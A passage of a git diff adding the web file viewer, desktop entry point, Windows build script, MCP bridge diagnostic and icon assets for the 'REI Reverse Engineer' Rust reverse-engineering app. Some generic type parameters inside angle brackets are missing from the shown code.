&str) -> (&'static str, &'static str) { + const DESKTOP: &str = "Open it in the REI Reverse Engineer desktop app to look inside."; + match kind { + "wasm" => ("a WebAssembly module (code that runs in browsers and other hosts)", DESKTOP), + "dex" => ("Android app code (a DEX file)", DESKTOP), + "apk" => ("an Android app package", DESKTOP), + "ipa" => ("an iPhone/iPad app package", DESKTOP), + "jar" => ("a Java archive", DESKTOP), + "java-class" => ("a compiled Java class", DESKTOP), + "msix" => ("a Windows app package (MSIX/AppX)", DESKTOP), + "hap" => ("a HarmonyOS app package", DESKTOP), + "zip" => ("a ZIP archive", DESKTOP), + "asar" => ("an Electron app archive (app.asar): the app's JavaScript lives here", DESKTOP), + "native-addon" => ("a Node.js native add-on", DESKTOP), + "javascript" | "typescript" => ("JavaScript or TypeScript source", DESKTOP), + "source-map" => ("a source map (links bundled JavaScript back to its sources)", DESKTOP), + "binary-plist" | "xml-plist" => ("an Apple property list (settings or app metadata)", DESKTOP), + "gzip" => ("gzip-compressed data", DESKTOP), + "xar" => ("a XAR archive (macOS installer packages use it)", DESKTOP), + "sqlite" => ("an SQLite database", DESKTOP), + "png" | "jpeg" | "gif" | "svg" => ("an image", "There's no code to look at in an image."), + "pdf" => ("a PDF document", "There's no program to look at here."), + "json" | "html" | "css" | "xml" | "text" => ("text", DESKTOP), + _ => ("data we don't recognise", "The desktop app has many more ways to identify files."), + } +} + +fn size_text(n: usize) -> String { + const UNITS: [&str; 4] = ["KB", "MB", "GB", "TB"]; + if n < 1024 { + return format!("{n} bytes"); + } + let mut v = n as f64 / 1024.0; + let mut unit = UNITS[0]; + for u in UNITS.iter().skip(1) { + if v < 1024.0 { + break; + } + v /= 1024.0; + unit = u; + } + format!("{v:.1} {unit} ({n} bytes)") +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn empty_and_garbage_never_crash() { + for bytes in [&b""[..], b"\x7fELF", b"MZ\0\0\0\0", &[0xcf, 0xfa, 0xed, 0xfe, 1, 2], &[0xca, 0xfe, 0xba, 0xbe, 0, 0, 0, 9]] { + let l = look("x", bytes); + assert!(!l.summary.is_empty()); + } + } + + #[test] + fn signatures() { + assert!(look("a.png", b"\x89PNG\r\n\x1a\n").summary.contains("image")); + assert!(look("m.wasm", b"\0asm\x01\0\0\0").summary.contains("WebAssembly")); + } + + #[test] + fn host_program() { + let Ok(bytes) = std::fs::read("/bin/ls") else { return }; + let l = look("ls", &bytes); + assert!(l.summary.starts_with("ls is a program"), "{}", l.summary); + assert!(l.facts.iter().any(|(k, _)| k == "Architecture")); + assert!(!l.details.is_empty()); + } + + #[test] + fn sizes() { + assert_eq!(size_text(10), "10 bytes"); + assert_eq!(size_text(2048), "2.0 KB (2048 bytes)"); + } +} diff --git a/desktop/apps/craft-anything-web/src/viewer.rs b/desktop/apps/craft-anything-web/src/viewer.rs new file mode 100644 index 0000000..9f36e91 --- /dev/null +++ b/desktop/apps/craft-anything-web/src/viewer.rs @@ -0,0 +1,165 @@ +//! The page: a welcome screen, drag and drop (and an Open button), then the answer. + +use crate::triage::{Look, MAX_BYTES, look}; +use craft_anything_evidence::Confidence; +use egui::{Color32, RichText}; +#[allow(clippy::disallowed_types)] // The browser has one thread: nothing can wait here. +use std::sync::{Arc, Mutex, PoisonError}; + +// A few tokens copied from the desktop app's Studio theme (crates/ui-egui/src/theme.rs). +const CANVAS: Color32 = Color32::from_rgb(0x0e, 0x0e, 0x0f); +const CARD: Color32 = Color32::from_rgb(0x1a, 0x1a, 0x1c); +const CARD_BORDER: Color32 = Color32::from_rgb(0x2a, 0x2a, 0x2e); +const TEXT: Color32 = Color32::from_rgb(0xec, 0xec, 0xf0); +const TEXT_DIM: Color32 = Color32::from_rgb(0xa9, 0xa9, 0xb2); +/// The app colour (getartcraft.com's deep accent), as in the desktop app. +const BRAND: Color32 = Color32::from_rgb(0x16, 0x59, 0xc4); +/// The app colour as text on the dark background (getartcraft.com's light accent). +const BRAND_INK: Color32 = Color32::from_rgb(0x74, 0xaa, 0xff); +const SEEN_IT: Color32 = Color32::from_rgb(0x3f, 0xb2, 0x7f); +const WORKED_OUT: Color32 = Color32::from_rgb(0x5b, 0x8d, 0xef); +const BEST_GUESS: Color32 = Color32::from_rgb(0xe0, 0xa2, 0x3a); + +/// A file handed over from outside a frame (the browser's file picker). +/// A file (name and contents), or a plain message saying why it couldn't be read. +#[allow(clippy::disallowed_types)] +pub type Inbox = Arc), String>>>>; + +pub struct Viewer { + look: Option, + error: Option, + inbox: Inbox, + /// Opens the browser's file picker; its result arrives in `inbox`. + open: Box, + /// Reads a dropped file (asynchronously in the browser); its contents arrive in `inbox`. + read_drop: Box, +} + +impl Viewer { + pub fn new(inbox: Inbox, open: Box, read_drop: Box) -> Self { + Viewer { look: None, error: None, inbox, open, read_drop } + } + + pub fn setup(ctx: &egui::Context) { + let mut visuals = egui::Visuals::dark(); + visuals.panel_fill = CANVAS; + visuals.window_fill = CARD; + visuals.override_text_color = Some(TEXT); + visuals.selection.bg_fill = BRAND; + visuals.hyperlink_color = BRAND_INK; + // The desktop app's Studio theme is dark; don't follow the system's light preference. + ctx.set_theme(egui::ThemePreference::Dark); + ctx.set_visuals_of(egui::Theme::Dark, visuals); + } + + fn take(&mut self, name: String, bytes: &[u8]) { + if bytes.len() > MAX_BYTES { + self.error = Some(format!("{name} is larger than {} MB, which is more than the web viewer reads.", MAX_BYTES / (1024 * 1024))); + return; + } + self.error = None; + self.look = Some(look(&name, bytes)); + } + + pub fn ui(&mut self, ui: &mut egui::Ui) { + let ctx = ui.ctx().clone(); + let dropped = ctx.input_mut(|i| std::mem::take(&mut i.raw.dropped_files)); + if let Some(f) = dropped.into_iter().next() { + (self.read_drop)(f); + } + let picked = self.inbox.lock().unwrap_or_else(PoisonError::into_inner).take(); + match picked { + Some(Ok((name, bytes))) => self.take(name, &bytes), + Some(Err(e)) => self.error = Some(e), + None => {} + } + let hovering = ctx.input(|i| !i.raw.hovered_files.is_empty()); + + egui::CentralPanel::default().show(ui, |ui| { + egui::ScrollArea::vertical().auto_shrink([false, false]).show(ui, |ui| { + ui.set_max_width(ui.available_width().min(860.0)); + ui.add_space(24.0); + ui.horizontal(|ui| { + ui.label(RichText::new("REI Reverse Engineer").size(26.0).strong()); + ui.with_layout(egui::Layout::right_to_left(egui::Align::Center), |ui| { + if ui.button(RichText::new("Open a file…").size(15.0)).clicked() { + (self.open)(); + } + }); + }); + ui.label(RichText::new("Drop a file to see what it is.").size(17.0).color(TEXT_DIM)); + ui.add_space(16.0); + if hovering { + card(ui, |ui| { + ui.label(RichText::new("Let go to look at it").size(18.0).color(BRAND_INK)); + }); + } else if let Some(e) = &self.error { + card(ui, |ui| { + ui.label(RichText::new(e).color(BEST_GUESS)); + }); + } else if let Some(l) = &self.look { + show_look(ui, l); + } else { + card(ui, |ui| { + ui.label( + "Drop a program, app, library or any file here. REI Reverse Engineer tells you what it is, what it runs on and what it was made with.", + ); + ui.add_space(6.0); + ui.label(RichText::new("Everything happens in this page: your file is never uploaded.").color(TEXT_DIM)); + }); + } + ui.add_space(16.0); + ui.label( + RichText::new( + "This is the small web version. The desktop app does much more: disassembly, functions and call graphs, \ + JavaScript and Electron apps, Android, websites, devices, and an AI that explains what it finds.", + ) + .color(TEXT_DIM), + ); + ui.hyperlink_to("Get the desktop app", "https://github.com/storytold/craft-anything/releases/latest"); + }); + }); + } +} + +fn card(ui: &mut egui::Ui, add: impl FnOnce(&mut egui::Ui)) { + egui::Frame::new().fill(CARD).stroke(egui::Stroke::new(1.0, CARD_BORDER)).corner_radius(12.0).inner_margin(18.0).show(ui, |ui| { + ui.set_width(ui.available_width()); + add(ui); + }); +} + +fn show_look(ui: &mut egui::Ui, l: &Look) { + card(ui, |ui| { + ui.label(RichText::new(&l.file_name).size(18.0).strong()); + let (color, label) = match l.confidence { + Confidence::Observed => (SEEN_IT, "Seen it"), + Confidence::Derived => (WORKED_OUT, "Worked it out"), + Confidence::Inferred => (BEST_GUESS, "Best guess"), + }; + ui.label(RichText::new(label).color(color).small()); + ui.add_space(6.0); + ui.label(RichText::new(&l.summary).size(15.0)); + ui.add_space(10.0); + egui::Grid::new("facts").num_columns(2).spacing([16.0, 6.0]).striped(true).show(ui, |ui| { + for (k, v) in &l.facts { + ui.label(RichText::new(k).color(TEXT_DIM)); + ui.add(egui::Label::new(RichText::new(v).monospace()).wrap()); + ui.end_row(); + } + }); + if !l.limitations.is_empty() { + ui.add_space(10.0); + ui.label(RichText::new("What this can't tell you").color(TEXT_DIM)); + for m in &l.limitations { + ui.label(format!("• {m}")); + } + } + if !l.details.is_empty() { + ui.add_space(10.0); + egui::CollapsingHeader::new("All details (JSON)").show(ui, |ui| { + ui.add(egui::Label::new(RichText::new(&l.details).monospace().size(12.0)).wrap()); + }); + } + }); +} diff --git a/desktop/apps/craft-anything-web/src/web.rs b/desktop/apps/craft-anything-web/src/web.rs new file mode 100644 index 0000000..4d23a6c --- /dev/null +++ b/desktop/apps/craft-anything-web/src/web.rs @@ -0,0 +1,98 @@ +//! The browser shell: the eframe web runner and the file picker. + +use crate::viewer::{Inbox, Viewer}; +use wasm_bindgen::JsCast as _; + +const CANVAS_ID: &str = "craft_anything_canvas"; +const LOADING_ID: &str = "craft_anything_loading"; + +pub fn start() { + eframe::WebLogger::init(log::LevelFilter::Info).ok(); + wasm_bindgen_futures::spawn_local(async { + let Some(document) = web_sys::window().and_then(|w| w.document()) else { + log::error!("no document"); + return; + }; + let Some(canvas) = document.get_element_by_id(CANVAS_ID).and_then(|e| e.dyn_into::().ok()) else { + log::error!("missing "); + return; + }; + let mut options = eframe::WebOptions::default(); + // `?webgl`: force the WebGL2 backend (troubleshooting, and headless browsers whose WebGPU + // adapter request returns nothing). + if query().contains("webgl") + && let eframe::egui_wgpu::WgpuSetup::CreateNew(create) = &mut options.wgpu_options.wgpu_setup + { + create.instance_descriptor.backends = eframe::wgpu::Backends::GL; + } + let result = eframe::WebRunner::new() + .start( + canvas, + options, + Box::new(|cc| { + if let Some(rs) = &cc.wgpu_render_state { + log::info!("craft-anything-web: wgpu backend {:?}", rs.adapter.get_info().backend); + } + Viewer::setup(&cc.egui_ctx); + let inbox = Inbox::default(); + let open = open_picker(inbox.clone(), cc.egui_ctx.clone()); + let read_drop = read_dropped(inbox.clone(), cc.egui_ctx.clone()); + Ok(Box::new(Shell { viewer: Viewer::new(inbox, open, read_drop) })) + }), + ) + .await; + if let Some(el) = document.get_element_by_id(LOADING_ID) { + match result { + Ok(()) => el.remove(), + Err(e) => el.set_inner_html(&format!("

REI Reverse Engineer failed to start: {e:?}

A browser with WebGPU or WebGL2 is required.

")), + } + } + }); +} + +/// The Open button: the browser's file picker, read into memory, then handed to the next frame. +fn open_picker(inbox: Inbox, ctx: egui::Context) -> Box { + Box::new(move || { + let inbox = inbox.clone(); + let ctx = ctx.clone(); + wasm_bindgen_futures::spawn_local(async move { + let Some(file) = rfd::AsyncFileDialog::new().pick_file().await else { return }; + let bytes = file.read().await; + deliver(&inbox, &ctx, Ok((file.file_name(), bytes))); + }); + }) +} + +/// A dropped file: browsers only read file contents asynchronously. +fn read_dropped(inbox: Inbox, ctx: egui::Context) -> Box { + Box::new(move |file| { + let inbox = inbox.clone(); + let ctx = ctx.clone(); + wasm_bindgen_futures::spawn_local(async move { + let name = file.path().file_name().map(|n| n.to_string_lossy().into_owned()).unwrap_or_else(|| "the file".to_string()); + let got = file.bytes_async().await.map(|b| (name.clone(), b)).map_err(|e| format!("The browser couldn't read {name}: {e}")); + deliver(&inbox, &ctx, got); + }); + }) +} + +fn deliver(inbox: &Inbox, ctx: &egui::Context, got: Result<(String, Vec), String>) { + if let Ok(mut slot) = inbox.lock() { + *slot = Some(got); + } + ctx.request_repaint(); +} + +fn query() -> String { + web_sys::window().and_then(|w| w.location().search().ok()).unwrap_or_default() +} + +struct Shell { + viewer: Viewer, +} + +impl eframe::App for Shell { + fn ui(&mut self, ui: &mut egui::Ui, _frame: &mut eframe::Frame) { + self.viewer.ui(ui); + } +} diff --git a/desktop/apps/craft-anything/Cargo.toml b/desktop/apps/craft-anything/Cargo.toml new file mode 100644 index 0000000..8bff64a --- /dev/null +++ b/desktop/apps/craft-anything/Cargo.toml @@ -0,0 +1,39 @@ +[package] +name = "craft-anything" +description = "REI Reverse Engineer: native evidence-driven reverse engineering workbench" +version.workspace = true +edition.workspace = true +license.workspace = true +publish = false +build = "build.rs" + +[lints] +workspace = true + +[dependencies] +craft-anything-engine = { workspace = true } +craft-anything-platform = { workspace = true } +craft-anything-ai = { workspace = true } +craft-anything-setup = { workspace = true } +craft-anything-ui-egui = { workspace = true } +serde_json = { workspace = true } +eframe = { workspace = true, features = ["default_fonts", "wgpu", "accesskit", "wayland", "x11", "persistence"] } +log = { workspace = true } +# The one dialog the app shows itself: when its window can't open, so a start that shows nothing +# still says why (#166). +rfd = { workspace = true } + +[features] +wasm-plugins = ["craft-anything-engine/wasm-plugins"] + +[build-dependencies] +# Icon + VERSIONINFO for craft-anything.exe; build.rs only uses it when targeting Windows. +winresource = "0.1" + +[[bin]] +name = "rei-reverse-engineer" +path = "src/main.rs" + +[[bin]] +name = "rei-bridge-check" +path = "src/bin/bridge_check.rs" diff --git a/desktop/apps/craft-anything/build.rs b/desktop/apps/craft-anything/build.rs new file mode 100644 index 0000000..3ea4099 --- /dev/null +++ b/desktop/apps/craft-anything/build.rs @@ -0,0 +1,31 @@ +//! Windows only: embed the app icon and version info (VERSIONINFO) into `craft-anything.exe`. +//! +//! On every other target this does nothing. A missing resource compiler is a warning, so a +//! cross-compile from macOS or Linux still links, unless `CRAFT_ANYTHING_REQUIRE_WINRES=1` (set by +//! the release workflow) turns it into an error. + +fn main() { + println!("cargo:rerun-if-changed=build.rs"); + println!("cargo:rerun-if-changed=../../assets/app-icon/craft-anything.ico"); + println!("cargo:rerun-if-env-changed=CRAFT_ANYTHING_REQUIRE_WINRES"); + if std::env::var("CARGO_CFG_TARGET_OS").as_deref() != Ok("windows") { + return; + } + let mut res = winresource::WindowsResource::new(); + res.set_icon("../../assets/app-icon/craft-anything.ico") + .set("ProductName", "REI Reverse Engineer") + .set("FileDescription", "REI Reverse Engineer: find out how any software works") + .set( + "LegalCopyright", + "Original work: ArtCraft Team and Craft Anything contributors. Rootcastle modifications: Rootcastle Engineering & Innovation. MIT OR Apache-2.0.", + ) + .set("OriginalFilename", "rei-reverse-engineer.exe") + .set("InternalName", "rootcastle-rei"); + if let Err(e) = res.compile() { + if std::env::var_os("CRAFT_ANYTHING_REQUIRE_WINRES").is_some() { + println!("cargo::error=embedding Windows resources failed: {e}"); + return; + } + println!("cargo:warning=craft-anything.exe built without icon/version resources: {e}"); + } +} diff --git a/desktop/apps/craft-anything/src/bin/bridge_check.rs b/desktop/apps/craft-anything/src/bin/bridge_check.rs new file mode 100644 index 0000000..9217d80 --- /dev/null +++ b/desktop/apps/craft-anything/src/bin/bridge_check.rs @@ -0,0 +1,40 @@ +//! Verify the same MCP plugin routes used by the desktop, without target execution. +use craft_anything_engine::{CallOptions, Caller, CancelToken, Consent, Engine, Session, Settings, plugins}; +use serde_json::json; + +fn main() -> Result<(), Box> { + let target = std::env::args().nth(1); + let mut settings = Settings::load(); + let upstream = settings.plugins.mcp.iter().any(|p| p.id == "upstream_rea" && p.enabled); + // This diagnostic's optional call inspects only the explicitly supplied file. + // Normal desktop sessions retain the user's Clean room / Deep selection. + if target.is_some() { + settings.deep_mode = true; + } + let mut session = Session::new(settings); + let config = session.config_dir(); + for plugin in session.settings.plugins.mcp.iter().filter(|p| p.enabled) { + let tools = plugins::refresh(plugin, &config)?; + println!("{}: {} tools discovered over real MCP", plugin.id, tools.len()); + } + let routes = plugins::install(&mut session); + println!("{} external routes registered in desktop engine", routes.len()); + let engine = Engine::shared_with(session, vec![], routes); + if let Some(path) = target { + let result = engine.call( + "rei_rei_rea_inspect", + json!({"target": &path}), + CallOptions { caller: Caller::Cli, consent: Consent::Granted, cancel: CancelToken::default(), progress: &|_| {} }, + )?; + println!("{}", serde_json::to_string_pretty(&result)?); + if upstream { + let result = engine.call( + "upstream_rea_inspect_byte_entropy", + json!({"path": path}), + CallOptions { caller: Caller::Cli, consent: Consent::Granted, cancel: CancelToken::default(), progress: &|_| {} }, + )?; + println!("Upstream static entropy call completed:\n{}", serde_json::to_string_pretty(&result)?); + } + } + Ok(()) +} diff --git a/desktop/apps/craft-anything/src/main.rs b/desktop/apps/craft-anything/src/main.rs new file mode 100644 index 0000000..794abe0 --- /dev/null +++ b/desktop/apps/craft-anything/src/main.rs @@ -0,0 +1,212 @@ +//! The REI Reverse Engineer desktop app. +#![deny(clippy::unwrap_used, clippy::expect_used, clippy::panic, clippy::unimplemented, clippy::todo, clippy::unreachable)] +#![cfg_attr(not(debug_assertions), windows_subsystem = "windows")] + +use craft_anything_ai::AiHub; +use craft_anything_engine::{Engine, Session, Settings}; +use craft_anything_ui_egui::CraftApp; +use std::path::PathBuf; +use std::sync::Arc; + +fn main() -> eframe::Result { + let args: Vec = std::env::args().skip(1).collect(); + if args.iter().any(|a| a == "--version" || a == "-V") { + println!("rei-reverse-engineer {}", env!("CARGO_PKG_VERSION")); + return Ok(()); + } + // A path on the command line (or from "Open with…") opens as the first target. + let open: Option = args.iter().find(|a| !a.starts_with('-')).map(PathBuf::from); + // The window app has no console: what goes wrong before (or instead of) a window is kept in + // desktop.log beside the settings, so a start that shows nothing leaves a trace. + log_to_file(); + log::info!("starting {} (pid {})", env!("CARGO_PKG_VERSION"), std::process::id()); + + let settings = Settings::load(); + let mut session = Session::new(settings); + let plugins = craft_anything_engine::plugins::install(&mut session); + let mut layer_tools = craft_anything_ai::tools(); + layer_tools.extend(craft_anything_setup::tools::specs()); + let engine = Engine::shared_with(session, layer_tools, plugins); + let hub = Arc::new(AiHub::new(engine.clone())); + log::info!("engine and AI ready; opening the window"); + + let viewport = eframe::egui::ViewportBuilder::default() + .with_title("REI Reverse Engineer") + .with_app_id("com.rootcastle.rei") + .with_inner_size([1360.0, 860.0]) + .with_min_inner_size([760.0, 520.0]) + // Our own title bar draws the window controls, moves and resizes the window. + .with_decorations(false) + .with_resizable(true) + .with_drag_and_drop(true); + // On macOS a window icon replaces the Dock icon, and the bundle's own icon is the one padded to + // Apple's icon grid (the full tile looked bigger than other apps', #102). An empty icon keeps + // the bundle's; no icon at all would bring eframe's own. + let icon = if cfg!(target_os = "macos") { None } else { eframe::icon_data::from_png_bytes(craft_anything_ui_egui::APP_ICON_PNG).ok() }; + let viewport = viewport.with_icon(Arc::new(icon.unwrap_or_default())); + #[cfg_attr(not(windows), expect(unused_mut, reason = "only Windows picks its own graphics adapter"))] + let mut options = eframe::NativeOptions { viewport, ..Default::default() }; + #[cfg(windows)] + if let eframe::egui_wgpu::WgpuSetup::CreateNew(setup) = &mut options.wgpu_options.wgpu_setup { + // Starting GL loads the system's OpenGL driver before any adapter is picked, and some + // Intel drivers crash in it (ig9icd64.dll, #196), so the window never opens. Similarly, + // starting Vulkan loads Intel's Vulkan driver (igvk64.dll, #394) and crashes before any + // window. DX12 (with WARP) covers all Windows systems; `WGPU_BACKEND` still asks for others. + setup.instance_descriptor.backends = windows_backends(eframe::wgpu::Backends::from_env()); + setup.native_adapter_selector = Some(Arc::new(pick_adapter)); + } + let run = eframe::run_native( + "REI Reverse Engineer", + options, + Box::new(move |cc| { + log::info!("window open"); + CraftApp::setup_context(&cc.egui_ctx); + let mut app = CraftApp::new(engine, hub); + app.load_prefs(cc.storage); + if let Some(p) = open { + app.open_path(p); + } + Ok(Box::new(app)) + }), + ); + match &run { + Ok(()) => log::info!("closed"), + Err(e) => { + log::error!("the window couldn't start: {e}"); + // Without a window the app would just vanish (#166): say why, and where the log is. + let log = craft_anything_engine::settings::config_dir().join("desktop.log"); + let _ = rfd::MessageDialog::new() + .set_level(rfd::MessageLevel::Error) + .set_title("REI Reverse Engineer couldn't open its window") + .set_description(format!( + "{e}\n\nUpdating your graphics driver often fixes this. What happened is written to {}; please attach it if you report this.", + log.display() + )) + .set_buttons(rfd::MessageButtons::Ok) + .show(); + } + } + run +} + +/// Windows: the adapter that draws the window. GL is the last resort, Windows' own software +/// renderer (WARP) included: in a VMware VM, GL is the way to the virtual GPU and drew a black +/// window (#27). The fastest device wins, and between same-class devices DX12 comes before Vulkan +/// (#33). `WGPU_BACKEND` still narrows the choice. +#[cfg(windows)] +fn pick_adapter(adapters: &[eframe::wgpu::Adapter], surface: Option<&eframe::wgpu::Surface<'_>>) -> Result { + let picked = adapters.iter().filter(|a| surface.is_none_or(|s| a.is_surface_supported(s))).min_by_key(|a| { + let info = a.get_info(); + adapter_rank(info.backend, info.device_type) + }); + match picked { + Some(a) => { + log::info!("drawing with {:?}", a.get_info()); + Ok(a.clone()) + } + None => Err(format!("None of the {} graphics adapters found can draw this window.", adapters.len())), + } +} + +/// Windows: the graphics backends to start. `WGPU_BACKEND` decides when set; otherwise DX12 +/// only (#196, #394). Vulkan and GL load third-party driver DLLs (igvk64.dll, ig9icd64.dll) before +/// an adapter is chosen, which crash on some Intel systems. DX12 (with WARP) covers all Windows +/// installations; `WGPU_BACKEND=vulkan` or `gl` still asks for them explicitly. +#[cfg(windows)] +fn windows_backends(from_env: Option) -> eframe::wgpu::Backends { + from_env.unwrap_or(eframe::wgpu::Backends::DX12) +} + +/// Lower is better: GL last, fastest device first, DX12 before Vulkan only between same-class devices +/// (#33). +#[cfg(windows)] +fn adapter_rank(backend: eframe::wgpu::Backend, device: eframe::wgpu::DeviceType) -> (bool, u8, u8) { + use eframe::wgpu::DeviceType; + let is_gl = backend == eframe::wgpu::Backend::Gl; + let speed = match device { + DeviceType::DiscreteGpu => 0, + DeviceType::IntegratedGpu => 1, + DeviceType::VirtualGpu => 2, + DeviceType::Cpu => 3, + DeviceType::Other => 4, + }; + let dx12_before_vulkan = match backend { + eframe::wgpu::Backend::Dx12 => 0, + eframe::wgpu::Backend::Vulkan => 1, + _ => 2, + }; + (is_gl, speed, dx12_before_vulkan) +} + +#[cfg(all(test, windows))] +mod tests { + use super::*; + use eframe::wgpu::{Backend as B, DeviceType as T}; + + /// #27: a VMware VM offers its virtual GPU over GL and WARP over DX12; GL drew a black window. + /// #33: a start that shows nothing is looked at through `desktop.log`; between same-class + /// devices DX12 comes before Vulkan, and GL stays the last resort. + #[test] + fn dx12_comes_before_vulkan_and_gl_is_the_last_resort() { + let best = |c: &[(B, T)]| c.iter().enumerate().min_by_key(|(_, (b, t))| adapter_rank(*b, *t)).map(|(i, _)| i); + assert_eq!(best(&[(B::Gl, T::Other), (B::Dx12, T::Cpu)]), Some(1), "VMware: WARP, not GL"); + assert_eq!(best(&[(B::Gl, T::IntegratedGpu), (B::Dx12, T::Cpu)]), Some(1)); + assert_eq!(best(&[(B::Vulkan, T::DiscreteGpu), (B::Dx12, T::IntegratedGpu)]), Some(0), "fastest GPU first"); + assert_eq!(best(&[(B::Dx12, T::IntegratedGpu), (B::Vulkan, T::IntegratedGpu)]), Some(0), "DX12 before Vulkan between same-class devices"); + assert_eq!(best(&[(B::Dx12, T::Cpu), (B::Vulkan, T::DiscreteGpu)]), Some(1), "WARP does not beat a real Vulkan device"); + assert_eq!(best(&[(B::Dx12, T::IntegratedGpu), (B::Vulkan, T::DiscreteGpu), (B::Dx12, T::Cpu)]), Some(1), "fastest GPU first"); + assert_eq!(best(&[(B::Gl, T::Other)]), Some(0), "GL when it's all there is"); + } + + /// #196: an Intel OpenGL driver crashed the app as wgpu started GL, before any window. + /// #394: an Intel Vulkan driver (igvk64.dll) crashed the app as wgpu started Vulkan. + #[test] + fn gl_and_vulkan_are_only_started_when_asked_for() { + use eframe::wgpu::Backends; + let started = windows_backends(None); + assert_eq!(started, Backends::DX12); + assert_eq!(windows_backends(Some(Backends::GL)), Backends::GL, "WGPU_BACKEND=gl still works"); + assert_eq!(windows_backends(Some(Backends::VULKAN)), Backends::VULKAN, "WGPU_BACKEND=vulkan still works"); + } +} + +/// Kept small: started afresh once it passes this size. +const LOG_MAX: u64 = 512 * 1024; + +/// Warnings and errors from everything, plus our own progress, appended to `desktop.log`; and +/// panics, which would otherwise vanish with the window. +fn log_to_file() { + use std::io::Write as _; + struct FileLog(craft_anything_platform::sync::Mutex>); + impl log::Log for FileLog { + fn enabled(&self, m: &log::Metadata<'_>) -> bool { + m.level() <= log::Level::Warn || (m.level() <= log::Level::Info && m.target().starts_with("craft_anything")) + } + fn log(&self, r: &log::Record<'_>) { + if !self.enabled(r.metadata()) { + return; + } + let at = std::time::SystemTime::now().duration_since(std::time::UNIX_EPOCH).map(|d| d.as_secs()).unwrap_or(0); + if let Ok(mut f) = self.0.lock() + && let Some(f) = f.as_mut() + { + let _ = writeln!(f, "{at} [{}] {}: {}", r.level(), r.target(), r.args()); + } + } + fn flush(&self) {} + } + let dir = craft_anything_engine::settings::config_dir(); + let path = dir.join("desktop.log"); + let _ = std::fs::create_dir_all(&dir); + let fresh = std::fs::metadata(&path).is_ok_and(|m| m.len() > LOG_MAX); + let file = std::fs::OpenOptions::new().create(true).append(!fresh).write(true).truncate(fresh).open(&path).ok(); + if log::set_logger(Box::leak(Box::new(FileLog(craft_anything_platform::sync::Mutex::new(file))))).is_ok() { + log::set_max_level(log::LevelFilter::Info); + } + let default_hook = std::panic::take_hook(); + std::panic::set_hook(Box::new(move |info| { + log::error!("panic: {info}"); + default_hook(info); + })); + craft_anything_platform::sync::start_watchdog(craft_anything_engine::settings::config_dir().join("logs")); +} diff --git a/desktop/assets/app-icon/LICENSE.txt b/desktop/assets/app-icon/LICENSE.txt new file mode 100644 index 0000000..838912d --- /dev/null +++ b/desktop/assets/app-icon/LICENSE.txt @@ -0,0 +1,10 @@ +Craft Anything app icon (craft-anything.svg and every file derived from it in this +directory: craft-anything-1024.png, craft-anything.icns, craft-anything.ico and +hicolor/). + +This is the raven, the Crafting Apps' shared icon, made by the ArtCraft team. It is NOT covered +by Craft Anything's MIT OR Apache-2.0 license. It is used on the same terms as the ArtCraft +brand assets in docs/brand/LICENSE-brand.txt, which also say what forks and modified versions +must do: replace it with their own icon. + +trace.py is a tool, covered by the repository's MIT OR Apache-2.0 license. diff --git a/desktop/assets/app-icon/README.md b/desktop/assets/app-icon/README.md new file mode 100644 index 0000000..05a7168 --- /dev/null +++ b/desktop/assets/app-icon/README.md @@ -0,0 +1,37 @@ +# Craft Anything app icon + +The **raven**: the Crafting Apps' shared icon, made by the ArtCraft team. An engraved raven head +in getartcraft.com's ink `#101014` with paper `#f2f1ee` highlights, on a rounded tile in +ArtCraft's mark blue `#4e7bfb`. It is not open source: see `LICENSE.txt`. + +The interface follows getartcraft.com too (`theme.rs`): its warm near-black and paper +backgrounds and ink, its deep accent `#1659c4` (`theme::BRAND`) for filled controls so white text +on them passes WCAG AA, its bright accent `#2d81ff` for hover and its light accent `#74aaff` for +blue text on dark surfaces. Headings and text are DM Sans. + +## Geometry + +A 512-unit tile with 110-unit corners (the source's 21.5 %), the raven clipped to it. The macOS +icons pad the tile onto Apple's 824/1024 icon grid; every other render uses the full tile. + +## Files + +- `craft-anything.svg`: the master SVG (also the hicolor scalable icon), about 100 KB. +- `craft-anything-1024.png`: 1024 px render of the tile. +- `craft-anything.icns`: macOS bundle icon. +- `craft-anything.ico`: Windows icon (16, 20, 24, 32, 40, 48, 64, 128, 256). +- `hicolor//apps/ai.storyteller.craft-anything.png` (16–512) and + `hicolor/scalable/apps/ai.storyteller.craft-anything.svg`: Linux icon theme. +- `trace.py`: traces the raven artwork (a 2000 px raster) into the SVG with vtracer. +- `packaging/icons.sh`: makes every other file above from the SVG. The app draws the SVG itself + at the exact pixel size (title bar, welcome screen); the window icon is the 256 px PNG. + +## Regenerate + +```sh +# From the 2000 px raven artwork (needs numpy, Pillow and vtracer; svgo 3.3.2 shrinks the paths): +python trace.py raven.webp master.svg 1000 6 0 +npx svgo@3.3.2 -p 1 master.svg -o craft-anything.svg +# Every render (needs resvg on PATH; the .icns needs macOS's iconutil): +packaging/icons.sh +``` diff --git a/desktop/assets/app-icon/craft-anything-1024.png b/desktop/assets/app-icon/craft-anything-1024.png new file mode 100644 index 0000000..08888f5 Binary files /dev/null and b/desktop/assets/app-icon/craft-anything-1024.png differ diff --git a/desktop/assets/app-icon/craft-anything.icns b/desktop/assets/app-icon/craft-anything.icns new file mode 100644 index 0000000..b9f3c14 Binary files /dev/null and b/desktop/assets/app-icon/craft-anything.icns differ diff --git a/desktop/assets/app-icon/craft-anything.ico b/desktop/assets/app-icon/craft-anything.ico new file mode 100644 index 0000000..3457716 Binary files /dev/null and b/desktop/assets/app-icon/craft-anything.ico differ diff --git a/desktop/assets/app-icon/craft-anything.svg b/desktop/assets/app-icon/craft-anything.svg new file mode 100644 index 0000000..1bf9bb0 --- /dev/null +++ b/desktop/assets/app-icon/craft-anything.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/desktop/assets/app-icon/hicolor/128x128/apps/ai.storyteller.craft-anything.png b/desktop/assets/app-icon/hicolor/128x128/apps/ai.storyteller.craft-anything.png new file mode 100644 index 0000000..fd44e08 Binary files /dev/null and b/desktop/assets/app-icon/hicolor/128x128/apps/ai.storyteller.craft-anything.png differ diff --git a/desktop/assets/app-icon/hicolor/16x16/apps/ai.storyteller.craft-anything.png b/desktop/assets/app-icon/hicolor/16x16/apps/ai.storyteller.craft-anything.png new file mode 100644 index 0000000..ea7f7c9 Binary files /dev/null and b/desktop/assets/app-icon/hicolor/16x16/apps/ai.storyteller.craft-anything.png differ diff --git a/desktop/assets/app-icon/hicolor/24x24/apps/ai.storyteller.craft-anything.png b/desktop/assets/app-icon/hicolor/24x24/apps/ai.storyteller.craft-anything.png new file mode 100644 index 0000000..b77ac35 